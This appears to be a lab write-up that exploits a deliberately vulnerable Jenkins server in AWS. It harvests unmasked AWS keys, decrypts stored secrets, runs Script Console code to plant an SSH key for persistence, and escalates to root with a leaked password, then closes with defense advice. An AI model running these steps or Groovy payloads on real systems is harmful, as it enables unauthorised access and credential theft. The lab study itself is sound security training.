Post

Exploit Jenkins in the Cloud

Exploit Jenkins in the Cloud

Scenario

During your security assessment for Huge Logistics, you’ve been handed various IP addresses relating to their infrastructure. One IP address, in particular, seems interesting. Your task is to investigate this IP address, exploit vulnerabilities, and escalate your permissions within their AWS environment. Every finding will help the company bolster their defenses.

Walkthrough

We are given IP address, let’s scan it. We see that there are 2 ports open: 22, 8080.

1
2
3
4
5
6
7
8
9
10
└─$ nmap -Pn 10.1.20.215                           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-03 23:41 +06
Nmap scan report for 10.1.20.215
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 3.08 seconds

If we visit port 8080, we see Jenkins

If we click notifications, we see that the host is configured as a node, which could allow gaining access to the system. Also, another important notification is S3 explorer, which displays configured AWS secrets without masking

Let’s check the secrets, so navigate to Manage Jenkins -> System. Then scroll down to S3 Explorer, where we see AWS keys and bucket named jenkins-config-load

Authenticate using found AWS keys

1
2
3
4
5
6
7
└─$ aws sts get-caller-identity  
{
    "UserId": "AIDAWHEOTHRFWBMKSPV7Z",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/jenkins"
}

Let’s check the bucket

1
2
3
4
└─$ aws s3 ls jenkins-config-load
                           PRE admin/
2023-07-10 18:19:31       1111 config.xml

We see admin folder and config.xml. We can’t access admin directory, but we can download config file, which is a job that executes system command.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
└─$ cat config.xml     
<?xml version='1.1' encoding='UTF-8'?>
<project>
  <actions/>
  <description>test job</description>
  <keepDependencies>false</keepDependencies>
  <properties/>
  <scm class="hudson.scm.NullSCM"/>
  <canRoam>true</canRoam>
  <disabled>false</disabled>
  <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
  <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
  <triggers/>
  <concurrentBuild>false</concurrentBuild>
  <builders>
    <hudson.tasks.Shell>
      <command>echo &quot;hello, today is $(date)&quot; &gt; /tmp/jenkins_test</command>
      <configuredLocalRules/>
    </hudson.tasks.Shell>
  </builders>
  <publishers/>
  <buildWrappers>
    <hudson.plugins.timestamper.TimestamperBuildWrapper plugin="timestamper@1.25"/>
    <hudson.plugins.build__timeout.BuildTimeoutWrapper plugin="build-timeout@1.31">
      <strategy class="hudson.plugins.build_timeout.impl.AbsoluteTimeOutStrategy">
        <timeoutMinutes>3</timeoutMinutes>
      </strategy>
      <operationList/>
    </hudson.plugins.build__timeout.BuildTimeoutWrapper>
  </buildWrappers>
</project> 

Let’s check Credentials, where we see jenkins-admin AWS credentials

The key is masked

But if we check the source, we see encrypted value of the AWS secret key

Googling shows that we can decrypt Jenkins secrets using hudson.util.Secret.decrypt() function in Script Console

Authenticate using new credentials

1
2
3
4
5
6
└─$ aws sts get-caller-identity                
{
    "UserId": "AIDAWHEOTHRF4VS5ZIW3J",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/jenkins-admin"
}

Now, let’s check admin directory in the bucket we saw earlier

1
2
3
└─$ aws s3 ls s3://jenkins-config-load/admin/  
2023-07-10 21:15:33          0 
2024-02-10 03:13:57        115 jenkins-backup.sh

If we check the script, we find ssh credentials

1
2
3
4
└─$ aws s3 cp s3://jenkins-config-load/admin/jenkins-backup.sh -
#!/bin/bash

sshpass -p 'VHwecyhrecc3' -P passphrase scp -i dev.pem -r dev@52.203.31.30:/backups/jenkins /backups/

But ssh authentication fails, so let’s continue. Navigate to Script Console and run the script below to find the identity of the user who the Jenkins is running as

1
2
3
4
5
def proc = "id".execute()
def b = new StringBuffer()
proc.consumeProcessErrorStream(b)
println proc.text
println b.toString()

It’s running as jenkins user. Let’s continue enumeration and check the current working directory

1
2
3
4
5
def proc = "pwd".execute()
def b = new StringBuffer()
proc.consumeProcessErrorStream(b)
println proc.text
println b.toString()

The working directory is /var/lib/jenkins. Let’s check home directory, to make sure if we can create .ssh directory

1
2
3
4
5
def proc = "env".execute()
def b = new StringBuffer()
proc.consumeProcessErrorStream(b)
println proc.text
println b.toString()

Okay, we can confirm that we have home directory, so let’s create .ssh folder and authorized_keys file, where we will paste our public key to access the ssh

1
2
3
4
5
def proc = "mkdir .ssh".execute()
def b = new StringBuffer()
proc.consumeProcessErrorStream(b)
println proc.text
println b.toString()
1
2
3
4
5
def proc = "touch .ssh/authorized_keys".execute()
def b = new StringBuffer()
proc.consumeProcessErrorStream(b)
println proc.text
println b.toString()
1
2
3
4
5
def proc = "touch .ssh/authorized_keys".execute()
def b = new StringBuffer()
proc.consumeProcessErrorStream(b)
println proc.text
println b.toString()

Now we copy our public key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def command = "echo \"<PUBLIC_KEY>\" > .ssh/authorized_keys"
def shell = "/bin/bash" // or /bin/sh, depending on your system
def process = ["$shell", "-c", command].execute()
process.waitFor()

// Check for success
if(process.exitValue() == 0) {
    println "Command executed successfully. Output:"
    // Reading the standard output
    process.in.eachLine { line ->
        println line
    }
} else {
    println "Error executing command. Error Output:"
    // Reading the error output
    process.err.eachLine { line ->
        println line
    }
}

Now login to ssh using private key

We can try using the password we found earlier in the script from the admin directory in the backet to login as root, and it works

Defense

This part is from lab’s defense section

  • Permit network access to only the systems and hosts that are required.
  • Under Manage Jenkins > Security and in the Authentication section, the None (anonymous authentication) option should be replaced with something more secure.
  • In Authorization configure matrix-based security to assign the minimum privileges needed for specific users or groups to do their work.
  • Scripts must be approved before running
  • Any vulnerable plugins such as S3 Explorer should be removed, and we should
  • Ensure that Jenkins and plugins are updated regularly.
  • Enable logging, and ideally ensure that these are securely stored off the system.
  • It would also be better to use distributed builds and not build on the built-in node.
  • For a more in depth review of configuring security, the official Jenkins documentation is here.
This post is licensed under CC BY 4.0 by the author.